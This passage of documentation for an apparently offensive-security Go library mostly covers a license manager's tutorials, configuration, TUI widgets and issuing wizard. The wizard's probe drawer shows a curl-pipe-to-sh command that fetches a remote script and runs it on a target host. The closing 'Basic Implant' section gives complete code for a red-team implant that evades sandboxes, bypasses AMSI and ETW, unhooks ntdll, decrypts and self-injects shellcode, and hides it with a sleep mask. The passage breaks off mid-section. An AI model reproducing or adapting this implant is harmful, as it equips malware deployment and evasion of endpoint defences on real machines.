Runnable client: examples/.../03-revocation-server/client.

Test it together

go test ./examples/license-manager/tutorials/03-revocation-server

Boots a real CRL server, issues a licence, runs the client (accepted), revokes via the TUI service, runs the client again (rejected).

Tutorial 04 — TOTP authenticator handoff

Objectif — mint a TOTP secret, hand it off via QR code, then require the rolling 6-digit code at every binary launch. Concepts — RFC 6238 · ±30 s clock-skew window · authenticator apps (Google Auth / Authy / 1Password / Yubico) Attendu — the live code is accepted; a bogus 000000 is rejected with exit 1.

In the TUI

  1. 8 → TOTP screen.
  2. n → mint a fresh secret. The new row is selected.
  3. Q → pop the QR overlay. Hand your phone to the licensee and let them scan it into Google Authenticator / Authy / 1Password / Yubico.
  4. Esc to close the overlay.
  5. Bind it to a licence: 2 → Licences → n → wizard, step 7 (TOTP): pick the secret you just minted → Enter.
  6. After signing, E/tmp/alice.licenseEnter.
  7. 3 → Issuers → E/tmp/issuer.pubEnter.

The secret never leaves the manager DB — only the QR was displayed, once.

tutorial 04 TUI flow

In your program

package main

import (
    "bufio"
    "log"
    "os"
    "strings"

    license "github.com/oioio-space/maldev/license"
)

func main() {
    licPEM, _ := os.ReadFile("/tmp/alice.license")
    pubPEM, _ := os.ReadFile("/tmp/issuer.pub")

    pub, kid, _ := license.ParsePublicKey(pubPEM)
    trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

    // Prompt the user for the current 6-digit code.
    os.Stdout.WriteString("TOTP code: ")
    line, _ := bufio.NewReader(os.Stdin).ReadString('\n')
    code := strings.TrimSpace(line)

    v, err := license.Verify(licPEM, trusted, license.WithTOTPCode(code))
    if err != nil {
        log.Fatalf("license check failed: %v", err)
    }
    log.Printf("running for %s", v.Subject)
}

Wrong code → err != nil. The window tolerates ±30 s of clock drift; outside that, the user retypes the current code.

Runnable client: examples/.../04-totp-authenticator/client.

Test it together

go test ./examples/license-manager/tutorials/04-totp-authenticator

Renders the tape, issues a real TOTP-bound licence, runs the client with both the live code (accepted) and 000000 (rejected).

Tutorial 05 — Sealed payload (X25519)

Objectif — embed a per-licensee secret inside a licence so that only the targeted recipient's private key can read it. Concepts — X25519 sealed box · seal.Open · ciphertext is bound to the recipient public key, not just the licence Attendu — holder of the correct private key prints the plaintext; any other key → seal.Open errors and the binary exits 1.

The licence body is signed in the open, but a portion is encrypted to a single recipient — only their private key reads it.

In the TUI

  1. 4 → Recipients screen.
  2. n → mint a fresh X25519 keypair. The new row is selected.
  3. Note the recipient's name / id — the wizard will offer it as a target.
  4. 2 → Licences → n → wizard.
  5. Step 4 (Sealed payload): pick the recipient → type the payload bytes (or paste them) → Enter.
  6. Confirm wizard → sign → E/tmp/alice.licenseEnter.
  7. 3 → Issuers → E/tmp/issuer.pubEnter.

Ship the recipient's private key with the binary (embed, sealed section, secrets manager — your call). Never ship it alongside the licence in the same channel.

tutorial 05 TUI flow

In your program

package main

import (
    "log"
    "os"

    license "github.com/oioio-space/maldev/license"
    "github.com/oioio-space/maldev/license/seal"
)

func main() {
    licPEM, _ := os.ReadFile("/tmp/alice.license")
    pubPEM, _ := os.ReadFile("/tmp/issuer.pub")
    priv, _ := os.ReadFile("/etc/myapp/recipient.x25519") // 32 raw bytes

    pub, kid, _ := license.ParsePublicKey(pubPEM)
    trusted := license.Trusted{Keys: license.SingleKey(kid, pub)}

    v, err := license.Verify(licPEM, trusted)
    if err != nil {
        log.Fatalf("license check failed: %v", err)
    }
    plain, err := seal.Open(priv, v.SealedPayload)
    if err != nil {
        log.Fatalf("sealed payload: %v", err)
    }
    log.Printf("payload: %s", string(plain))
}

seal.Open returns an error if priv is wrong, if the ciphertext is tampered, or if the payload was sealed to a different recipient.

Runnable client: examples/.../05-sealed-payload/client.

Test it together

go test ./examples/license-manager/tutorials/05-sealed-payload

Renders the tape, issues a sealed-payload licence, runs the client with the correct private key (decrypts) and a wrong one (rejected).

Runnable examples

This page indexes the runnable cookbook under examples/license-manager/. Each entry is a standalone Go program — copy-paste, adapt to your environment, run. Every example also ships a main_test.go that runs the same scenario against an in-memory SQLite store, so CI green ⇒ the example works.

Why a separate examples tree

The Cookbook prose pages explain the why of each operation. The runnable examples here are the what — code you can clone and execute without first reading the cookbook.

If you read the cookbook recipe and want the matching code, the example is linked from each recipe.

If you found this page first, every example links back to the concept page that explains the underlying notion.

Catalogue

Examples 07 (sealed payload), 08 (identity pin), 10 (HTTP servers) and 11 (backup / restore) ship as placeholders pending the backup format spec and a fixture for the probe agent.

How to run any of them

# One example
go run ./examples/license-manager/03-revoke-and-crl

# All examples (CI uses this)
go test ./examples/license-manager/...

The examples produce machine-friendly stdout (one PEM, one otpauth URI, one CRL — never mixed) and human-friendly stderr status lines. Pipe stdout to a file, read stderr in the terminal.

Skeleton

Every example follows the same shape:

NN-feature-name/
├── README.md       # what + why + expected output + TUI mapping
├── main.go         # runnable CLI calling a single run() helper
└── main_test.go    # E2E test against an in-memory manager

main.go exposes a run(ctx, stdout, stderr) error that main() and main_test.go both call. This keeps the example linear at the top level while the test re-uses the exact code path the operator runs.

License Manager — Configuration

Référence des flags CLI, variables d'environnement, valeurs par défaut des serveurs, et préréglages Argon2id.

Flags CLI

FlagTypeDéfautDescription
--dbstring./manager.dbChemin vers la base SQLite. Créée au premier lancement.
--passphrase-filestringFichier contenant la passphrase (lue + trimée). Priorité maximale dans la cascade.
--no-tuiboolfalseDésactive la TUI bubbletea. Utile pour les flux scriptés ou le débogage.

Exemples :

# Lancement standard
license-manager --db /var/lib/maldev/manager.db

# Passphrase depuis fichier (recommandé pour les flux CI/scripts)
license-manager --db manager.db --passphrase-file /run/secrets/mgr_pass

# Mode script sans TUI
license-manager --db manager.db --no-tui

Variables d'environnement

VariableDescriptionPriorité dans la cascade
MALDEV_MGR_PASSPHRASE_FILEChemin vers un fichier passphrase. Équivalent à --passphrase-file mais sans flag.2 (après --passphrase-file)
MALDEV_MGR_PASSPHRASEPassphrase directement en valeur. À éviter si ps expose les variables d'environnement.3

La cascade complète de résolution de passphrase :

1. flag --passphrase-file          (priorité maximale)
2. env  MALDEV_MGR_PASSPHRASE_FILE
3. env  MALDEV_MGR_PASSPHRASE
4. (v2) OS keystore (DPAPI / Keychain / libsecret)
5. prompt interactif TUI           (fallback)

Dès qu'une source produit une valeur non vide, les suivantes sont ignorées. Quand la passphrase est résolue silencieusement (étapes 1–3), aucun prompt n'apparaît.

Valeurs par défaut des serveurs

Configurables via SettingsService.UpdateServerConfig. Toutes les adresses d'écoute sont vides par défaut — un serveur avec adresse vide ne peut pas être démarré.

Champ ServerConfigValeur par défautDescription
revocation_listen""Adresse d'écoute du serveur Revocation (ex. ":8443")
revocation_path"/revoked.pem"Chemin de la CRL
revocation_tls_cert""Chemin PEM du certificat TLS (vide = HTTP)
revocation_tls_key""Chemin PEM de la clé TLS
heartbeat_listen""Adresse d'écoute du serveur Heartbeat (ex. ":8444")
heartbeat_path"/heartbeat"Chemin du endpoint heartbeat
heartbeat_tls_cert""
heartbeat_tls_key""
probe_listen""Adresse d'écoute du serveur Probe (ex. ":8445")
probe_tls_cert""
probe_tls_key""
probe_default_ttl_seconds86400TTL par défaut des tokens probe (24h)

Exemple de configuration minimale via UpdateServerConfig :

svc.Settings.UpdateServerConfig(ctx, func(u *ent.ServerConfigUpdate) {
    u.SetRevocationListen(":8443").
        SetHeartbeatListen(":8444").
        SetProbeListen(":8445")
})

Préréglages Argon2id

Le champ Setting.default_argon_preset contrôle les paramètres utilisés pour hacher les bindings password lors de l'émission. Les préréglages s'appliquent aussi à la dérivation KEK (crypto.DeriveFromPassphrase).

PréréglagetimememorythreadsLatence approx.
fast132 MiB2~30 ms
default364 MiB4~100 ms
paranoid8256 MiB8~800 ms
  • fast : acceptable pour des tests et des environnements à faible mémoire.
  • default : recommandé pour la production. Résiste aux attaques GPU modernes.
  • paranoid : pour des secrets à très haute valeur (clés de root CA, etc.). Prévoir ~1 s à chaque démarrage.

Modifier le préréglage via SettingsService.Update :

svc.Settings.Update(ctx, func(u *ent.SettingUpdate) {
    u.SetDefaultArgonPreset(setting.DefaultArgonPresetParanoid)
})

Permissions recommandées

RessourcePermissionRaison
manager.db600 (owner RW seulement)Contient les clés privées chiffrées
Fichier passphrase400 (owner R seulement)Lecture par le processus uniquement
Binaires probe (agents/*)755Exécution sur machines distantes
Répertoire probe/agents/gen/Accès build uniquementSource du binaire agent — ne pas distribuer

Paramètres opérateur (Setting)

ChampDéfautDescription
default_issuer_name""Valeur pré-remplie pour le champ iss dans les nouvelles licences
default_audience[]Audiences pré-sélectionnées dans le formulaire d'émission
default_ttl_seconds2592000 (30j)TTL par défaut des nouvelles licences
default_argon_presetdefaultVoir tableau Argon2id ci-dessus
operator_name""Nom affiché dans le champ actor de l'audit trail
auto_start_serversfalseDémarrer les serveurs configurés au boot
confirm_quit_with_serverstrueConfirmer avant de quitter si des serveurs tournent

Voir aussi

TUI Widget System

What the Widget interface buys

Before Phase 2.5, every screen's View() was a flat lipgloss composition — correct, but hard to evolve: adding a border, reshuffling columns, or wiring mouse events required editing deep string-concatenation code. The Widget interface turns UI composition into a tree of typed objects with clear responsibilities:

  • Layout receives bounds (set on resize, not per frame).
  • Update processes any tea.Msg (keyboard, mouse, data, timers).
  • View renders within bounds — never overflows.

Package structure

internal/manager/tui/
├── core/core.go        — Widget, Clickable, Focusable interfaces + Rect (cycle-free base)
├── widget.go           — type aliases re-exporting core types as tui.Widget / tui.Rect
├── layout.go           — Flex, Grid, Pad, Box composites
└── widgets/            — leaf widgets: Text, Spacer, Button, Tile, TabBar, StatusBar,
                          WrappedTable, WrappedTextInput, WrappedViewport

The tui/core sub-package exists solely to break the import cycle: tuitui/widgetstui. Both sides import tui/core; callers use tui.Widget / tui.Rect via the type aliases in widget.go.

Rect / bounds model

tui.Rect{X, Y, W, H} uses terminal cell coordinates (column, row). Rect.Contains(x, y) is used by the mouse dispatcher to hit-test.

Bounds are assigned top-down: the root calls Layout on the top-level widget, composite widgets (Flex, Grid, Pad, Box) recursively assign child bounds, and leaf widgets store the result and use it in View().

Layout primitives

PrimitiveDescription
NewFlex(dir, gap, children...)Row or column; FlexChild.Flex > 0 = proportional share of remaining space; Flex == 0 = fixed Min cells.
NewGrid(rows, cols, gap, children...)Fixed 2D grid; GridChild.RowSpan/ColSpan for merged cells.
NewPad(w, top, right, bottom, left)Insets inner widget.
NewBox(w, title, focused)Bordered frame; Magenta border when focused.

Composites implement a private Children() []Widget interface used by the mouse dispatcher for depth-first traversal.

Mouse dispatching

Mouse is enabled with tea.WithMouseCellMotion() in cmd/license-manager/main.go. On tea.MouseActionRelease + tea.MouseButtonLeft, app.go calls dispatchClick(tree, msg.X, msg.Y) which:

  1. Checks Bounds().Contains — returns nil if outside.
  2. Recurses into children first (deepest widget wins).
  3. If the matched widget implements tui.Clickable, calls OnClick(relX, relY, button).

Tab bar clicks (Y == 1) are dispatched directly to the TabBar widget before the general tree walk, since the tab bar is part of chrome rather than a screen widget tree.

Mouse-clickable surfaces (Phase 2.5)

SurfaceAction
Dashboard counter tilesSwitches to Licenses view with matching filter
Tab bar tabsSwitches to the clicked view (widgets.SwitchViewMsg)
Buttons (all screens)Fires OnPress handler
WrappedTable rowsEmits widgets.RowClickedMsg{Index}
WrappedTextInputFocuses the input

Migration recipe for legacy screens

Screens in screen_licenses.go and others still use direct lipgloss rendering. To migrate a screen:

  1. Extract content helpers — pull renderXxxCard() into methods that return string.
  2. Wrap helpers in widgets.Textwidgets.NewText(content, style).
  3. Build a Flex/Box tree — replace lipgloss.JoinVertical/Horizontal with tui.NewFlex(…).
  4. Call root.Layout(tui.Rect{…}) at the end of buildWidgetTree().
  5. Return root.View() from View().
  6. Wire clicks — in app.go's handleMouse, add a case for the new screen's active view that calls m.theScreen.buildWidgetTree() then dispatchClick(…).
  7. Add any Clickable handlersSwitchViewMsg, RowClickedMsg, etc.

The migration is non-breaking: the other screens continue working unchanged.

Examples

Horizontal three-column layout

left   := widgets.NewText("Left",   lipgloss.NewStyle())
center := widgets.NewText("Center", lipgloss.NewStyle())
right  := widgets.NewText("Right",  lipgloss.NewStyle())

row := tui.NewFlex(tui.Horizontal, 1,
    tui.FlexChild{W: left,   Flex: 1},
    tui.FlexChild{W: center, Flex: 2}, // center gets 2× the space
    tui.FlexChild{W: right,  Flex: 1},
)
row.Layout(tui.Rect{X: 0, Y: 0, W: 120, H: 20})
fmt.Print(row.View())

Clickable tile

tile := widgets.NewTile("Active", 42, "", tui.Palette.Green, func() tea.Cmd {
    return func() tea.Msg { return SwitchToLicensesMsg{Filter: "active"} }
})
tile.Layout(tui.Rect{X: 0, Y: 0, W: 28, H: 5})
// tile.OnClick(x, y, tea.MouseButtonLeft) fires the handler

Bordered box with title

content := widgets.NewText(someText, lipgloss.NewStyle())
box     := tui.NewBox(content, "Section Title", false)
box.Layout(tui.Rect{X: 0, Y: 0, W: 60, H: 10})
fmt.Print(box.View())

New License Wizard — TUI Walkthrough

The New License Wizard is an 8-step guided flow for issuing a signed licence from the license-manager terminal UI. Launch it from the Licenses screen by pressing n or clicking the + New license button.

Overview

sequenceDiagram
    participant Operator
    participant "Licenses Screen" as LS
    participant "Wizard Overlay" as WZ
    participant "LicenseService" as SVC

    Operator->>LS: press n
    LS->>WZ: openWizardCmd
    WZ->>Operator: Step 1 — Identity
    Operator->>WZ: pick/create issuer
    WZ->>Operator: Step 2 — Recipient
    Operator->>WZ: pick/skip recipient
    WZ->>Operator: Step 3 — Machine binding
    Operator->>WZ: paste ID or probe
    WZ->>Operator: Step 4 — Binary binding
    Operator->>WZ: browse/skip
    WZ->>Operator: Step 5 — Validity window
    Operator->>WZ: confirm dates
    WZ->>Operator: Step 6 — Free fields
    Operator->>WZ: add key/value pairs
    WZ->>Operator: Step 7 — TOTP
    Operator->>WZ: toggle on/off
    WZ->>Operator: Step 8 — Review
    Operator->>WZ: press enter to issue
    WZ->>SVC: LicenseService.Issue
    SVC-->>WZ: IssuedLicense
    WZ->>Operator: QR overlay (PEM + TOTP QR)

Progress Strip and Sidebar

The wizard chrome has two persistent navigation elements:

Progress strip (top bar): shows NOUVELLE LICENCE étape N/8 · <label> with styled key hints (Tab next, ⇧Tab prev, 1-8 jump, esc cancel) right-aligned. A magenta progress bar below it fills proportionally to the current step.

Sidebar (left column, ~27 chars wide): lists all 8 steps with a [N] badge, step label, and a one-line hint. The active step is prefixed with a magenta accent; its badge and label are rendered bold. Hints are truncated to fit the sidebar width and never wrap.

│ [1] Identité
    subject · issuer · a…
  [2] Destinataire
    clé X25519 du destin…
  …

esc steps back one step at any point. q on the Licenses screen cancels and returns.


Step 1 — Identity

Pick the Ed25519 signing issuer for this licence, or create a new one.

Step 1 — Signing Identity
Pick an existing issuer or create a new Ed25519 signing key.

> prod-2026                      maldev-prod-01
  staging-2026                   maldev-staging-01
  + Create new issuer

  ↑/↓ navigate   enter select   n create new

Create path: press n or navigate to + Create new issuer and hit enter. Two fields appear: Name and Key-ID. tab moves between them; enter on the Key-ID field generates the keypair via IssuerService.Generate and advances to step 2.


Step 2 — Recipient

Pick the X25519 recipient key used to seal the embedded payload, or skip (no sealed payload).

Step 2 — Recipient
Pick or create the X25519 recipient key for sealed payload delivery.

  acme-corp
  beta-tester-01
  — Skip (no sealed payload)
> + Create new recipient

  ↑/↓ navigate   enter select

Choosing Skip records an empty RecipientID — the licence will carry no sealed payload.


Step 3 — Machine Binding (optional)

Bind the licence to a specific machine. Two sub-modes, toggled with tab:

Step 3 — Machine Binding (optional)
Bind this licence to a specific machine ID. Tab to switch input method.

  [Paste]

  Machine-ID hex:
  > deadbeefcafe0000...

  enter confirm   tab probe mode   s/esc skip

Probe sub-mode

Pressing tab switches to Probe target mode. Pressing enter opens the Probe Drawer (a slide-in overlay described below). The probe flow issues a one-time token, shows a curl command to run on the target, and waits for the agent callback.


Step 4 — Binary Binding (optional)

Bind the licence to a specific binary by SHA-256 hash.

Step 4 — Binary Binding (optional)
Bind this licence to a specific binary by SHA-256 hash.

  Binary path:
  > /home/operator/builds/agent-v2.exe

  SHA-256: a3f9...c1d2

  enter hash/confirm   f file picker   s/esc skip

Press f or enter with an empty field to open the File Picker overlay. Once a file is chosen, its SHA-256 is computed in a background goroutine and shown on screen.


Step 5 — Validity Window

Set the not-before and not-after dates.

Step 5 — Validity Window
Set the not-before / not-after dates for this licence.

  Not before:
  > 2026-05-21

  Not after (or 'forever'):
  > 2027-05-21

  shortcuts: +7d  +30d  +1y  forever(0)
  tab switch field   enter confirm

Shortcuts (available when the end-date field is selected but not in typing mode):

KeyEffect
7now + 7 days
3now + 30 days
ynow + 1 year
fforever (year 9999)

Step 6 — Free Fields (optional)

Add arbitrary key=value metadata. Any number of rows; encoded into the licence Features list as key=value strings.

Step 6 — Free Fields (optional)
Add arbitrary key/value metadata to this licence.

> env      =  prod
  customer =  acme

  tab next field   a add row   d delete row   enter/esc confirm

a adds a new row; d deletes the current row (minimum one row retained).


Step 7 — TOTP Requirement

Toggle whether the licence requires a time-based one-time password at validation time.

Step 7 — TOTP Requirement
Require a time-based one-time password at validation time.

  [x] Require TOTP

  Select TOTP secret:
> maldev:acme-corp

  t toggle   ↑/↓ select secret   enter confirm

When enabled, the wizard adds a BindingSpec{Type: "totp"} to the IssueRequest and LicenseService.Issue generates a fresh TOTP secret, wraps it under the KEK, and includes provisioning QR artefacts in the IssuedLicense response.


Step 8 — Review and Issue

A summary of all collected choices. Press enter or i to call LicenseService.Issue.

Step 8 — Review & Issue
Confirm all choices and press enter to sign the licence.

  Issuer ID:           00000000-0000-0000-0000-000000000001
  Recipient ID:        —
  Machine ID:          deadbeefcafe
  Binary SHA-256:      a3f9...c1d2
  Not before:          2026-05-21
  Not after:           2027-05-21
  Free fields:         env=prod
  Require TOTP:        no

  [ enter / i ]  Issue licence
  [ esc ]        Cancel

On success, the wizard closes and the QR Overlay appears.


Probe Drawer

The probe drawer is a modal overlay that automates machine-ID collection from a target host.

┌──────────────────────────────────────────────────────────────────────────┐
│ Probe Drawer                                                             │
│                                                                          │
│ Waiting for agent callback…                                              │
│                                                                          │
│ Run on the target machine:                                               │
│                                                                          │
│   curl -sf https://localhost:8080/probe/<token> | sh                     │
│                                                                          │
│ Token expires in 24 h.                                                   │
│                                                                          │
│ c copy   esc cancel                                                      │
└──────────────────────────────────────────────────────────────────────────┘

Flow:

sequenceDiagram
    participant Operator
    participant "Probe Drawer" as PD
    participant "ProbeService" as PS
    participant "Target Machine" as TM

    Operator->>PD: open drawer (enter in probe mode)
    PD->>PS: NewToken(label, 24h)
    PS-->>PD: ProbeToken{ID, curl}
    PD->>Operator: show curl command
    Operator->>TM: copy-paste curl
    TM->>PS: POST /probe/<token>
    PS->>PD: Subscribe channel fires
    PD->>Operator: show hostname/os/machine-id
    Operator->>PD: enter to accept
    PD-->>Operator: MachineBindingMsg{MachineID}

Once the agent reports in, the drawer shows the resolved hostname, OS/arch, and composite machine-ID. Press enter to use the machine-ID and advance, or esc to discard (the token is revoked immediately on cancel).


QR Overlay

After a successful Issue call, the QR overlay displays:

  • ASCII-art QR codes for any TOTP provisioning secrets (one per TOTP binding).
  • A scrollable PEM block of the signed licence.
  • Save (s) and copy-to-clipboard (c) actions.
┌──────────────────────────────────────────────────────────────────────────┐
│ Licence Issued                                                           │
│                                                                          │
│ TOTP binding 1 — binding index 0                                        │
│ [QR ASCII art]                                                           │
│                                                                          │
│ PEM (↑/↓ scroll):                                                        │
│ -----BEGIN MALDEV LICENSE-----                                           │
│ eyJhbGci...                                                              │
│ -----END MALDEV LICENSE-----                                             │
│                                                                          │
│ s save   c copy PEM   esc/enter close                                    │
└──────────────────────────────────────────────────────────────────────────┘

The PEM file is saved to ~/licence-<uuid>.pem with mode 0600.


File Picker Overlay

A lightweight directory navigator used by step 4 (binary binding).

┌────────────────────────────────────────────────────────────────┐
│ File Picker                                                    │
│   /home/operator/builds                                        │
│                                                                │
│   bin/                                                         │
│   lib/                                                         │
│ > agent-v2.exe                                                 │
│   agent-v2.pdb                                                 │
│                                                                │
│   ↑/↓ navigate   enter select/descend   ← up   esc cancel     │
└────────────────────────────────────────────────────────────────┘

Hidden files (dotfiles) are filtered. Directories appear first, coloured cyan with a trailing /. Press backspace or to navigate up. esc cancels without selecting.


Key Bindings Summary

ScreenKeyAction
LicensesnOpen wizard
Any stepescBack one step
Step 1/2/Navigate list
Step 1/2enterSelect item
Step 3tabToggle paste/probe
Step 4fOpen file picker
Step 5tabSwitch date field
Step 57/3/y/fDuration shortcut
Step 6a / dAdd / delete row
Step 7tToggle TOTP
Step 8enter / iIssue licence
Probe drawercCopy curl command
QR overlaysSave PEM to disk
QR overlaycCopy PEM

Servers Screen — Operator Walkthrough

The Servers screen (tab 7, key 7) provides a real-time view of the three HTTP servers bundled with license-manager — Revocation, Heartbeat, and Probe — and lets the operator start or stop each one individually or all at once.

Layout overview

┌──────────────────────────────────────────────────────────────────────────────┐
│  [A] Start all   [Z] Stop all   s=start  S=stop  c=clear log  1-4=filter    │
├──────────────────┬───────────────────┬──────────────────────────────────────┤
│  revocation      │  heartbeat        │  probe                               │
│  ┌────┐          │  ┌────┐           │  ┌─────┐                             │
│  │ ON │          │  │ ON │           │  │ OFF │                             │
│  └────┘          │  └────┘           │  └─────┘                             │
│  Addr: …:8443    │  Addr: …:8444     │  LastErr: bind: addr in use          │
│  Uptime: 5m 12s  │  Uptime: 3m 01s   │                                      │
│  Reqs:  42       │  Reqs:  7         │  Reqs: 0                             │
│  [s] Start  [S] Stop               [s] Start  [S] Stop                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  Event log  [ all ] [ revocation ] [ heartbeat ] [ probe ]   c=clear        │
│  12:00:00  revocation    started   127.0.0.1:8443                           │
│  12:00:01  heartbeat     started   127.0.0.1:8444                           │
│  12:00:02  revocation    request   GET /revoked.pem  200  10.0.0.1:52000    │
│  12:00:03  probe         error     bind: address already in use             │
└─────────────────────────────────────────────────────────────────────────────┘

Server cards

Each of the three server cards shows:

FieldNotes
Namerevocation, heartbeat, or probe
ON / OFF pillGreen border when running, grey when stopped
AddrTCP listen address once the server is bound
UptimeWall-clock time since the server was last started; when stopped
ReqsCumulative request counter, never reset between start/stop cycles
LastReqWall-clock time of the most recent handled request (HH:MM:SS)
LastErrLast error string, shown in red; absent when no error has occurred

Start / Stop buttons

Every card has two buttons:

  • [s] Start — calls Start(ctx, name) on the controller; if the server is already running the underlying call returns an error which is pushed to the event log.
  • [S] Stop — calls Stop(name) with a 5-second graceful drain; in-flight HTTP requests complete before the listener closes.

Mouse click on either button works when the program is launched with --mouse-cell-motion (default in interactive mode).

Global start / stop

  • A — start all three servers simultaneously (batch parallel commands).
  • Z — stop all three servers simultaneously.

Both keys are active only when the Servers screen is focused.

Event log

The scrollable event log below the cards streams every lifecycle transition and HTTP request from all three servers via Bundle.MergedEvents(). Up to 500 entries are retained in memory; older events are evicted with drop-oldest semantics.

Log columns

HH:MM:SS  server-name   kind      detail
KindColourDetail
startedGreenListen address
stoppedYellow
requestDimMETHOD /path STATUS remote-addr
errorRedError string

Auto-scroll

The log auto-scrolls to the bottom as new events arrive. Scrolling up (mouse wheel or arrow keys) pauses auto-scroll so the operator can read historical entries. Scrolling back down re-enables it.

Filtering

Click a chip or press 14 to filter the log:

KeyFilter
1All servers (default)
2Revocation only
3Heartbeat only
4Probe only

The filter applies to the live stream and to the retained ring buffer, so switching filters instantly re-renders the full history.

Press c to clear the log (discards all retained entries).

History across screen switches

The root model retains the last 500 events in an in-memory ring buffer. When the operator navigates away to another screen and returns, all buffered events are replayed into the log so history is not lost.

Event fan-in — sequence

The following diagram shows how a single HTTP request propagates from the server goroutine to the TUI log widget.

sequenceDiagram
    participant Client as "HTTP Client"
    participant Srv as "RevocationServer"
    participant Bundle as "Bundle.MergedEvents()"
    participant Listener as "listenServerEvents (tea.Cmd)"
    participant Root as "rootModel.Update"
    participant Screen as "serversModel.Update"
    participant Log as "serverLog.Update"

    Client->>Srv: GET /revoked.pem
    Srv->>Srv: emitReq(event)
    Srv->>Bundle: events <- Event{Kind:"request"}
    Bundle->>Listener: ev = <-merged
    Listener-->>Root: serverEventMsg{ev}
    Root->>Root: appendEventRing(ev)
    Root->>Screen: Update(serverEventMsg)
    Screen->>Screen: refreshStatuses()
    Screen->>Log: Update(serverEventMsg)
    Log->>Log: append(ev) + SetContent(render())
    Root-->>Listener: re-arm listenServerEvents

The listener is a self-rearming tea.Cmd: after each delivery the root model immediately re-issues listenServerEvents(bundle) so the next event is picked up without spawning a persistent goroutine. This model is safe with bubbletea's single-threaded Update loop and exits cleanly when the merged channel is closed at program shutdown.

No new flags or environment variables

The Servers screen reads its data entirely from the live httpsrv.Bundle wired at startup. The listen addresses, TLS certs, and admin tokens are configured via the existing settings stored in the database — see Configuration for details.

Example: Basic Implant

← Back to README

A minimal red-team implant that bails on a sandbox, decrypts shellcode with ephemeral-plaintext wipe, applies the canonical evasion preset through indirect-asm syscalls + a non-ROR13 hash, and self-injects.

What changed since the v0.16-era version of this example:

  • MethodIndirectAsm instead of MethodIndirect — same end effect (every NT call lands on a ntdll-resident syscall;ret gadget) but the SSN+gadget transition lives in a Go-assembly stub. No writable code page in the implant, no per-call VirtualProtect dance, cleaner call stack. (P2.25 lineage; see docs/techniques/syscalls/direct-indirect.md.)
  • Custom HashFunc — the default ROR13 constant 0x411677B7 for ntdll.dll is on every static fingerprint sheet. Swap to FNV-1a (or any of the 6 algorithms in hash/apihash.go) and use cmd/hashgen to pre-compute the API constants at build time.
  • recon/antivm.Hypervisor() — single-call CPUID + RDTSC hypervisor probe; cannot be evaded by registry / DMI / file rewrites. Bail before paying the decrypt cost.
  • evasion/preset.Stealth() — bundled AMSI + ETW + selective unhook in one slice instead of three hand-listed techniques.
  • crypto.UseDecrypted — defer-wipes the plaintext shellcode buffer the moment the consumer is done with it. Closes the "did the operator remember to wipe?" footgun.
  • SelfInjector + sleepmask integration — the inject result carries the (addr, size) tuple straight into Mask.Sleep, no pointer arithmetic at the call site.
flowchart TD
    A[Start] --> B{Hypervisor.LikelyVM?}
    B -->|yes| Z[Exit silently]
    B -->|no| C["Apply preset.Stealth via Caller<br>(IndirectAsm + FNV-1a)"]
    C --> D["UseDecrypted → AES-GCM<br>(plaintext defer-wiped)"]
    D --> E["SelfInject CreateThread<br>returns InjectedRegion"]
    E --> F[sleepmask.Mask.Sleep<br>encrypts the region]
    F --> F

Code

package main

import (
    "context"
    "os"
    "time"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/sleepmask"
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/inject"
    "github.com/oioio-space/maldev/recon/antivm"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

// Encrypted payload + key wired in at build time.
var encPayload = []byte{ /* ... output of crypto.EncryptAESGCM ... */ }
var aesKey = []byte{ /* 32-byte key ... */ }

func main() {
    // 1. Sandbox bail. CPUID + RDTSC timing — single-call,
    //    cannot be evaded by registry / DMI rewrites.
    if antivm.Hypervisor().LikelyVM {
        os.Exit(0)
    }

    // 2. Caller — indirect-asm syscalls + FNV-1a API hashing.
    //    The default ROR13 constants are on every static
    //    fingerprint sheet; FNV-1a defeats that match.
    resolver := wsyscall.Chain(
        wsyscall.NewHashGateWith(hash.FNV1a32),
        wsyscall.NewHellsGate(),
    )
    caller := wsyscall.New(wsyscall.MethodIndirectAsm, resolver).
        WithHashFunc(hash.FNV1a32)

    // 3. Evasion stack. Stealth = AMSI + ETW + selective ntdll unhook.
    //    Apply BEFORE any payload allocation (Aggressive would also
    //    flip ACG, blocking subsequent VirtualAlloc(EXECUTE)).
    if err := evasion.ApplyAll(preset.Stealth(), caller); err != nil {
        os.Exit(0)
    }

    // 4. Decrypt + execute under defer-wipe. UseDecrypted hands the
    //    plaintext to the closure, then crypto.Wipe()s the buffer
    //    via defer — runs even if the closure errors or panics.
    _ = crypto.UseDecrypted(
        func() ([]byte, error) {
            return crypto.DecryptAESGCM(aesKey, encPayload)
        },
        func(shellcode []byte) error {
            // 5. Self-inject through the same syscall stack the
            //    evasion layer uses. Build() returns an Injector;
            //    the windowsInjector implementation also satisfies
            //    SelfInjector so we can retrieve the (Addr, Size)
            //    region for the sleepmask hand-off.
            inj, err := inject.Build().
                Method(inject.MethodCreateThread).
                IndirectSyscalls().
                Resolver(resolver).
                Create()
            if err != nil {
                return err
            }
            if err := inj.Inject(shellcode); err != nil {
                return err
            }
            self, ok := inj.(inject.SelfInjector)
            if !ok {
                return nil // injector doesn't expose region; skip mask
            }
            region, ok := self.InjectedRegion()
            if !ok {
                return nil
            }

            // 6. Beacon loop with encrypted dormancy. Mask flips the
            //    region to PAGE_READWRITE, runs the cipher in place
            //    for the sleep duration, restores RX on wake.
            mask := sleepmask.New(sleepmask.Region{
                Addr: region.Addr,
                Size: region.Size,
            })
            ctx := context.Background()
            for {
                _ = mask.Sleep(ctx, 30*time.Second)
            }
        },
    )
}

What This Example Demonstrates

StepPrimitiveWhy
Sandbox bailantivm.Hypervisor()CPUID-bit + RDTSC timing — irreducible by registry / DMI rewrites
CallerMethodIndirectAsm + NewHashGateWith(FNV1a32)All NT calls bypass user-mode hooks; no plaintext API names; non-ROR13 fingerprint
Evasionpreset.Stealth()One slice = AMSI + ETW + selective unhook
DecryptUseDecrypted + EncryptAESGCMAEAD at rest, defer-wiped plaintext at runtime
Self-injectinject.Build().…BuildSelf() + SelfInjectFluent builder; returns InjectedRegion for downstream hand-off
Sleep masksleepmask.Mask.Sleep on the InjectedRegionRegion is encrypted while idle; defeats memory scanners between beacons

Build

# Pre-compute the FNV-1a constants for your imports so the binary
